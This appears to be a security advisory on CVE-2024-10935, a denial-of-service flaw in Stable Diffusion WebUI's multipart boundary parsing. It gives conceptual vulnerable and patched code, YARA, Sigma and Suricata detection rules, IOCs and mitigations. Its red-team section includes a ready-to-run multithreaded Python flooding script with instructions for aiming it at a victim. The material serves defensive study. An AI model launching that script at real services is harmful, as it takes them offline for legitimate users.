CVE-2024-10935

Executive Summary

CVE-2024-10935 is a high-severity (CVSS 7.5) Denial of Service (DoS) vulnerability affecting Automatic1111's Stable Diffusion WebUI version 1.10.0. The flaw resides in the server's handling of malformed multipart HTTP requests. By appending arbitrary characters to the end of a multipart boundary, an unauthenticated attacker can trigger excessive resource consumption, leading to a complete denial of service for all users. No user interaction or authentication is required for exploitation. The EPSS score is 0.0%, indicating low current exploitation activity, but the vulnerability is unpatched and publicly known.

Supply Chain & Package Security

This vulnerability is in a Python-based web application (Stable Diffusion WebUI) distributed via GitHub and PyPI. The affected component is the Gradio-based HTTP server. No specific package version constraints beyond 1.10.0 are known. Users should monitor the official repository for patches and consider pinning dependencies.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete service disruption.

Threat Level: High. The ease of exploitation (unauthenticated, low complexity) combined with the potential for full service outage makes this a significant risk for any exposed instance.

Deep Dive & Mechanics

The vulnerability is in the multipart form-data parsing logic of the Gradio-based server used by Stable Diffusion WebUI. When a client sends a POST request with a Content-Type: multipart/form-data header, the server must parse the boundary string that separates parts. The boundary is defined in the Content-Type header (e.g., boundary=----WebKitFormBoundary).

The flaw occurs when the server does not properly validate the length or termination of the boundary string. By appending a large number of arbitrary characters (e.g., boundary=----WebKitFormBoundaryAAAAAAAA...), the server enters a state where it repeatedly attempts to match the boundary, consuming excessive CPU and memory resources. This can lead to thread exhaustion, memory exhaustion, or infinite loops, effectively crashing the server or making it unresponsive.

The attack is a classic resource exhaustion (CWE-770) and maps to MITRE ATT&CK T1499 (Endpoint Denial of Service). No authentication is required because the multipart parsing occurs before any session validation.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual):

# In multipart parser
def parse_boundary(content_type):
    # No length check
    boundary = content_type.split("boundary=")[1]
    # Directly used in parsing loop
    while True:
        line = read_line()
        if boundary in line:
            break

Patched Code (Conceptual):

def parse_boundary(content_type):
    boundary = content_type.split("boundary=")[1]
    # Enforce maximum boundary length
    if len(boundary) > 70:
        raise ValueError("Invalid boundary length")
    # Sanitize: remove trailing garbage
    boundary = boundary.strip()
    # Use exact match instead of substring
    while True:
        line = read_line()
        if line.strip() == "--" + boundary:
            break

The patch would involve:

1. Limiting the boundary string length to a reasonable maximum (e.g., 70 characters per RFC 2046).
2. Stripping trailing whitespace or non-printable characters.
3. Using exact boundary matching rather than substring matching.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Automatic1111 Stable Diffusion WebUI 1.10.0.
• Network access to the web UI (default port 7860).

Exploit Script (Python):

import requests
import threading

target = "http://target:7860"
# Craft a malformed multipart boundary with excessive characters
boundary = "----WebKitFormBoundary" + "A" * 10000
headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}"
}
# Minimal valid multipart body (can be empty)
body = f"--{boundary}--"

def dos():
    while True:
        try:
            requests.post(target, headers=headers, data=body, timeout=5)
        except:
            pass

# Launch multiple threads
for _ in range(50):
    threading.Thread(target=dos).start()

Usage:

1. Replace target with the victim's IP/domain.
2. Run the script. It will send continuous malformed requests.
3. Monitor the target's resource usage (CPU/memory) and service availability.

Blue Team

Detection:

• Monitor for HTTP requests with abnormally long Content-Type headers (boundary > 100 characters).
• Look for repeated POST requests to / or /api/predict/ with multipart content types.
• Alert on high CPU/memory usage in the python or gradio process.

Mitigation:

• Place a reverse proxy (Nginx, HAProxy) in front of the web UI.
• Configure request size limits and header length limits.
• Use a Web Application Firewall (WAF) to block requests with malformed boundaries.

Lab Setup:

1. Install Docker and pull the vulnerable image: docker pull automatic1111/stable-diffusion-webui:1.10.0
2. Run: docker run -p 7860:7860 automatic1111/stable-diffusion-webui:1.10.0
3. Execute the exploit script against http://localhost:7860.
4. Observe service degradation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests with Content-Type header containing boundary= followed by a string longer than 100 characters.
  • High volume of requests from a single IP to the / or /api/predict/ endpoints.
  • Response times exceeding 30 seconds or HTTP 503 errors.

• Host IOCs:

  • CPU usage of the python process sustained above 90%.
  • Memory usage of the python process exceeding 2GB.
  • Log entries showing ValueError: Invalid boundary or similar errors (if patched).
  • System logs showing OOM (Out of Memory) killer activity.

• File IOCs:

  • Temporary files in /tmp with names like gradio_* growing rapidly.

Detection Engineering

YARA Rule

rule CVE_2024_10935_Malformed_Boundary {
    meta:
        description = "Detects malformed multipart boundary in HTTP requests targeting CVE-2024-10935"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-10935"
    strings:
        $boundary = /boundary=[A-Za-z0-9\-]{100,}/ nocase
        $multipart = "multipart/form-data" nocase
    condition:
        $multipart and #boundary > 0
}

Sigma Rule

title: CVE-2024-10935 DoS via Malformed Multipart Boundary
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects HTTP requests with excessively long multipart boundaries targeting Stable Diffusion WebUI
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-content-type|contains: 'multipart/form-data'
        cs-content-type|re: 'boundary=[A-Za-z0-9\-]{100,}'
    condition: selection
falsepositives:
    - Legitimate applications using very long boundaries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10935 - Malformed Multipart Boundary DoS"; flow:to_server; content:"multipart/form-data"; http_header; pcre:"/boundary=[A-Za-z0-9\-]{100,}/i"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable public access to the web UI if not required. Use a VPN or SSH tunnel.
2. Apply rate limiting at the reverse proxy (e.g., Nginx limit_req_zone).
3. Set request size limits (e.g., Nginx client_max_body_size 10m).
4. Use a WAF to block requests with boundary strings longer than 70 characters.

Long-term Fix:

• Monitor the official GitHub repository for a patch.
• Consider switching to a fork or alternative UI that has addressed the issue.
• Implement input validation on the multipart boundary length in the application code.

Workaround:

• Modify the Gradio source code locally to add boundary length checks (see patched code example).

Valters IT